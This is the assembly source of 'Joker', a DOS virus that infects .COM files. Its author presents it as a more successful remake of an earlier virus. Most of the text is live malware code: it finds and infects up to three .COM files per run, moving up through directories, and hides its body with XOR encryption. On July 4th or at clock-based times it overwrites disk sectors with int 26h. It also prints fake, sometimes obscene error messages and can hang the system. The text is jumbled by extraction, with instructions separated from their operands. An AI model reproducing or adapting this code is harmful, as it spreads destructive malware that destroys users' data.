title " ; ; joker ; ; ;
joker! virus.
written by the boot sector infector ... "
- this is a remake of the deceased "joker/jocker" virus. the original had multiple programming errors in it that kept it from replicating. my version is much more successful.
page 255,80 word public 'code' assume cs:code,ds:code org 100h
code segment main proc;edure ;equates... idc cr lf ;end codes.
equ equ equ
jmp
idchar: hostprogram: nop first_four: nop address: int check: begin: nextline:
cryptor:
;id character - (note: 69) ;ascii for carriage return ;ascii for line feed
these determine what happens after the string is displayed.
terminate equ halt equ simulatecriterr return2host equ flashfloppy equ waitkey pausekey equ stackerror equ
tof:
69h 13 10
0 1 equ 3 4 equ 6 7
;terminate program after display ;cause the system to hang after display 2 ;simulate the critical error handler ;resume program immediately ;wait for a key, then reset drive a: 5 ;wait for a key, then resume program ;same thing, but uses a pause message ;cause a stack overflow (halts system)
begin db idc nop
20h nop
;top-of-file ;skip over program ;id character ;first run copy only! ;first run copy only! ;first run copy only! ;first run copy only! ;first run copy only!
pop sub
call nextline bp bp,offset nextline
;mov
push call jmp
ax cryptor short retloc
;save ax ;decrypt ;continue program
mov lea mov cryptorloop: rol inc
;push ip+3 onto stack bp,ip ;bp=disp. for mem locs
al,[bp+offset encrypt_val] ;encrypt val si,[bp+offset toec] ;top of encrypted code cx,offset eoec-offset toec ;length of " " xor [si],al ;en/de crypt al,cl ;change code # si ;next char please!
loop ret infect:
pop int call ret
cryptorloop
;loop if necessary ;return to caller
call cryptor cx 21h cryptor
;encrypt code ;restore cx for int 21 ;call dos ;decrypt code ;go back
toec:;���������������������������������������������������Top of encrypted code infectit: push cx ;save cx for sub jmp infect retloc:
goon:
goon2:
pop ax di,di
;restore ax ;di = 0
cli mov mov sti
ss,di sp,2f0h
;disable interrupts ;set up stack at: ; 0000:02f0 ;enable interrupts
mov mov mov lea mov mov mov cmp jne jmp
si,96h ;vector for int 24h bx,ss:[si] ;bx = offset in segment cx,ss:[si+2] ;cx = segment dx,[bp+offset int24handler] ;cs:dx -} local handler ss:[si],dx ;save offset ss:[si+2],cs ;save segment si,es:[di+2f8h] ;check operation mode si,4643h ;'cf' if already tsred goon ;nope, jmp return ;yes, don't do anything
mov mov push pop
cs:[di+4ch],bx cs:[di+4eh],cx cs es
mov mov
byte ptr [bp+offset infected],0 ;reset infection count byte ptr [bp+offset max2kill],3 ;stop after 3 or less
xor
;use unused part of psp ; to save bx and cx ;copy cs ... ; ... to ds
lea si,[bp+offset first_four] ;original first 4 bytes mov di,offset tof ;tof never changes cld ;read left-to-right movsw ;copy the 4 bytes movsw ;copy the 4 bytes mov lea int
ah,1ah dx,[bp+offset dta] 21h
mov lea lea push jmp
ah,4eh ;find first asciiz dx,[bp+offset filespec] ;ds:dx -} '*.com',0 si,[bp+offset filename] ;point to file dx ;save dx short continue ;continue...
mov
mov ah,1ah dx,80h
return:
;set dta address ... ; ... to *our* dta ;call dos to set dta
;set dta address ... ; ... to default dta
nextfile:
skipclose: continue:
skipjmp:
int xor mov mov mov mov mov mov push pop
21h ;call dos to set dta di,di ;di= 0 es,di ;es= 0 si,96h ;vector for int 24h bx, cs:[di+4ch] ;restore from saved bx word ptr es:[si+0], bx ;place back into vector cx, cs:[di+4eh] ;restore from saved cx word ptr es:[si+2], cx ;place back into vector cs ;move cs ... es ; ... to es
mov xor mov mov mov mov mov mov push mov ret
ax,[bp+offset savedax] ;restore ax bx,bx ;bx= 0 cx,bx ;cx= 0 dx,cx ;dx= 0 si,dx ;si= 0 di,si ;di= 0 sp,0fffeh ;sp= fffeh (normal) bp,100h ;bp= 100h (return addr) bp ; put on stack bp,ax ;bp= 0 ;jmp to 100h
or jz mov int xor mov
bx,bx skipclose ah,3eh 21h bx,bx ah,4fh
;did we open the file? ;no, so don't close it ;close file ;call dos to close it ;set bx back to 0 ;find next asciiz
pop push xor xor int jnc jmp
dx dx cx,cx bx,bx 21h skipjmp noneleft
;restore dx ;re-save dx ;cx= 0
mov mov int jc
ax,3d02h dx,si 21h nextfile
;open file ;point to filespec ;call dos to open file ;next file if error
mov mov mov lea int
bx,ax ;get the handle ah,3fh ;read from file cx,4 ;read 4 bytes dx,[bp+offset first_four] ;read in the first 4 21h ;call dos to read
;find first/next ;out of files
cmp byte ptr [bp+offset check],idc ;already infected? je nextfile ;yep, try again ... ;note: delete the two lines above if you want it to re-infected programs. cmp je
byte ptr [bp+offset first_four],77 ;mis-named .exe? nextfile ;yep, maybe next time!
mov xor
ax,4202h cx,cx
;lseek to eof ;cx= 0
xor int
dx,dx 21h
;dx= 0 ;call dos to lseek
cmp ja mov
ah,0f8h nextfile [bp+offset addr],ax
;longer than 62k? ;yep, try again... ;save call location
mov mov lea int
ah,40h ;write to file cx,4 ;write 4 bytes dx,[bp+offset first_four] ;point to buffer 21h ;save the first 4 bytes
mov inc adc mov
ah,[bp+offset encrypt_val] ;get code number ah ;add 1 ah,0 ;increment if it's zero [bp+offset encrypt_val],ah ;save new code number
mov mov lea call comebackhere: xor xor int
noneleft:
ah,40h ;write to file cx,offset eof-offset begin ;length of target code dx,[bp+offset begin] ;point to virus start infectit ;exempt from encryption mov ax,4200h ;lseek to tof cx,cx ;cx= 0 dx,dx ;dx= 0 21h ;call dos to lseek
mov inc
ax,[bp+offset addr] ax
;retrieve location ;adjust location
mov mov mov
[bp+offset address],ax ;address to call byte ptr [bp+offset first_four],0e9h ;jmp rel16 inst. byte ptr [bp+offset check],idc ;eofmark
mov mov lea int
ah,40h ;write to file cx,4 ;write 4 bytes dx,[bp+offset first_four] ;4 bytes are at [dx] 21h ;write to file
inc dec jz
byte ptr [bp+offset infected] ;increment counter byte ptr [bp+offset max2kill] ;decrement counter theend ;if 0 then end
inc adc jmp
byte ptr [bp+offset encrypt_val] ;change code # byte ptr [bp+offset encrypt_val],0 ;adjust if 0 nextfile ;next victim!
cmp jae
byte ptr [bp+offset infected],3 ;at least 3 infected? theend ;the party's over!
mov cmp je
di,100h word ptr [di],20cdh theend
lea mov int jc mov
dx,[bp+offset prevdir] ;'..' ah,3bh ;set current directory 21h ;chdir .. theend ;we're through! ah,4eh
;di= 100h ;an int 20h? ;don't go to prev. dir.
jmp
continue
;start over in new dir
mov mov int cmp jne cmp jne xor jmp
xor di,di es,di ah,2ah 21h dl,4 test2 dh,7 test2 ax,ax kill
;di= 0 ;es= 0 ;get date ;do it ;4th of the month? ;nope, second test ;july? ;nope, second test ;sector 0 ;kill the disk now...
mov ah,2ch 21h cl,cl giveup ch,6 giveup cl,ch ax,cx al,dh al,dl ah,0 ax,ax kill ax
;get time ;do it ;on the hour? (x:00 xm) ;return to program ;midnight to 5 am ??? ;return to program ;add first number ;transfer to ax ;zero out ah ;add dl to al ;add dl and carry flag ;add carry to ah ;ax = 0 ??? ;kill the disk now... ;well, adjust first...
dx,ax cx,1 bx,bx ah,19h 21h 26h
;sector number ;one at a time.... ;point at psp ;get current disk ;call dos to ^ ;now kill the disk
theend:
test2:
kill:
int or jnz cmp jnl add mov cbw add adc adc or jnz inc mov mov xor mov int int
giveup:
mov
bx,offset message_table
;point to table
mov int inc
ah,2ch 21h dh
;get time ;call dos to ^ ;(0-59)
timeloop:
cmp jl sub jmp
dh,msgs timedone dh,msgs short timeloop
;mapped yet? ;yes, jump ;try to map it ;and check out work
timedone:
mov mov cbw shl add mov mov mov
al,dh cl,al ax,1 bx,ax si,[bx] ch,[si-1] dx,si
;al gets msg # ;save in cl for criterr ;ah gets 0 ;ax = ax * 2 ;bx = index ;si points to string ;ch is technique # ;dx points to string
mov int
ah,9 21h
;display string ;call dos to ^
cmp je
ch,terminate terminateprog
;terminate program? ;nope, next test
cmp je
ch,halt $
;halt program? ;hang system if ch=halt
cmp je
ch,simulatecriterr simulate
;simulate criterr? ;yes, go do it
cmp je
ch,return2host resumeprogram
;return to host? ;yes, go do it
cmp je
ch,flashfloppy flashflop
;flash drive a:? ;yes, go do it
cmp je
ch,waitkey zwait
;wait for keypress? ;yes, go do it
cmp je
ch,pausekey zpause
;pause message w/ wait? ;yes, go do it
cmp je
ch,stackerror stackerr
;stack overflow? ;yes, go do it
;invalid code, assume return2host resumeprogram: stackerr: call terminateprog:
jmp $ int
simulate:
lea mov int
dx,[bp+offset arifmsg] ;abort, retry ... ah,9 ;print string 21h ;call dos to ^
mov int
ah,1 21h
;input a char ;call dos to ^
lea mov int
dx,[bp+offset crlf] ah,9 21h
;crlf ;print string ;call dos to ^
cmp jb sub
al,'a' uppercase al,' '
;uppercase? ;nope, jump ;yes, make uppercase
cmp je
al,'a' terminateprog
cmp jne
al,'r' zskip
;retry? ;skip over "retry" code
lea mov int mov jmp
dx,[bp+offset crlf] ah,9 21h dh,cl timedone
;point to crlf ;print string ;call dos to ^ ;restore dh from cl ;reprint error
uppercase:
return 20h
;return to caller ;cause stack overflow ;yep, all done!
;abort? ;yep, go do it.
zskip:
flashflop:
je cmp jne
cmp al,'i' resumeprogram al,'f' simulate
;ignore? ;return to host program ;fail? ;invalid response
lea mov int int
dx,[bp+offset fail24] ah,9 21h 20h
;point to fail string ;print string ;call dos to ^ ;terminate program
mov int
ah,1 21h
;wait for keypress ;call dos to ^
xor mov mov lea int jmp
ax,ax ;drive a: cx,1 ;read 1 sector dx,ax ;start at boot sector bx,[bp+offset boot_sector] ;bx points to buffer 25h ;flash light on a: short resumeprogram ;resume if no error
mov int
lea ah,9 21h
mov int jmp
ah,1 21h short resumeprogram
zpause: zwait:
arifmsg fail24 crlf db
dx,[bp+offset pause] ;point to pause message ;print string ;call dos to ^ ;wait for keypress ;call dos to ^ ;go on...
db cr,lf,'abort, retry, ignore, fail?$' db cr,lf,cr,lf,'fail on int 24' cr,lf,'$'
message_table: dw offset dw offset dw offset dw offset dw offset dw offset dw offset dw offset dw offset dw offset dw offset dw offset dw offset dw offset dw offset dw offset dw offset dw offset dw offset dw offset
msg1 msg2 msg3 msg4 msg5 msg6 msg7 msg8 msg9 msg10 msg11 msg12 msg13 msg14 msg15 msg16 msg17 msg18 msg19 msg20
msgs
db
20
; i tried to make it as simple as possible to change the messages ; and add/delete them. each message is in the format: ; ; db [technique] ;[label] db [text] ; ; where [technique] is one of the 8 codes shown at the beginning of ; this file (terminate, halt, etc.). this determines what the virus ; should do after printing the message. ; [label] is in the form "msg##" where ## is a number from 1 to ; "msgs". "msgs" is defined immediately before this ; comment block. ; [text] is a combination of text and ascii codes, terminated by ; either a '$' or a ,36. ; ; if you change the number of messages the virus has, you should also ; add/remove lines from the offset table and change the "msgs" ; data byte appropriately. let's say for instance that you want ; to remove "program too big to fit in memory.": ; 1) delete the line(s) with the message and the line ; immediately before it. ; 2) move message #20 up to message #2's position and ; change its label from "msg20" to "msg2". ; 3) delete the line "dw offset msg20" from the offset ; table. ; 4) change the line before this comment block to: ; "msgs db 19" ; ; later! ; -the boot sector infector ... ; db msg5 db pause db
flashfloppy ;waits for key, then flashes drive a: 'i',39,'m hungry! insert pizza & beer into drive a: and',cr,lf 'strike any key when ready... $'
msg1
db db
simulatecriterr ;prints arif message and responds appropriately 'impotence error reading user',39,'s dick$'
msg2
db db
terminate ;ends the program immediately 'program too big to fit in memory',cr,lf,'$'
msg3
db db
halt ;halts the system 'cannot load command, system halted',cr,lf,'$'
msg4
db db
terminate ;ends the program immediately 'i',39,'m sorry, dave.... but i',39,'m afraid' db ' i can',39,'t do that!',cr,lf,'$'
msg6
db db
waitkey ;waits for a keypress, then runs the program 'format another? (y/n)? $'
msg7
db db
stackerror ;generates a stack overflow (halts the system) 'damn it! i told you not to touch that!$'
db
terminate
;ends the program immediately
msg8
db
'suck me!',cr,lf,'$'
msg9
db db
simulatecriterr ;prints arif message and responds appropriately 'cocksucker at keyboard error reading device con:$'
db msg10 db db db
terminate ;ends the program immediately 7,cr,cr,cr,7,cr,cr,cr,7,cr,cr,cr,lf 'i',39,'m sorry, but your call cannot be completed as dialed.' cr,lf,'please hang up & try your call again.',cr,lf,'$'
db msg11 db
terminate ;ends the program immediately 'no!',cr,lf,cr,lf,'$'
db msg12 db
halt ;halts the system 'panic kernal mode interrupt$'
db msg13 db
waitkey ;waits for a keypress, then runs the program 'connect 1200�',cr,lf,cr,lf,'$'
db msg14 db
return2host ;runs host program immediately 'okay, okay! be patient! ...',cr,lf,'$'
db msg15 db
terminate ;ends the program immediately 'and if i refuse?',cr,lf,'$'
db msg16 db
return2host ;runs host program immediately 'fuck the world and its followers!',cr,lf,'$'
db msg17 db
return2host ;runs host program immediately 'you are pathetic, man... you know that?',cr,lf,'$'
db msg18 db
terminate ;ends the program immediately 'cum on! talk dirty to me !!!',cr,lf,'$'
db msg19 db
terminate ;ends the program immediately 'your coprocessor wears floppy disks!',cr,lf,'$'
db msg20 db db
pausekey ;waits for keypress (sakwr), then runs host prg 'joker! ver �� by tbsi!',cr,lf 'remember! everything',39,'s bigger in texas!',cr,lf,'$'
int24handler: iret
xor
filespec: prevdir: max2kill
'*.com',0 '..',0 3
db db db
al,al
;ignore the error ;interrupt return ;file specification ;previous directory ;max. files to infect
eoec:;���������������������������������������������������End of encrypted code versionnumber dw 100h ;version 1.00 encrypt_val db 0 ;1st-run copy only ; none of this information is included in the virus's code. it is only used ; during the search/infect routines and it is not necessary to preserve it ; in between calls to them. eof:
dta: attribute file_time file_date file_size filename
db db db db db db
21 dup (?) ? 2 dup (?) 2 dup (?) 4 dup (?) 13 dup (?)
;internal search's data ;attribute ;file's time stamp ;file's date stamp ;file's size ;filename
savedax infected addr
db dw
dw ? ?
;used to save ax ;infection count ;address
?
boot_sector: main endp;rocedure code ends;egment end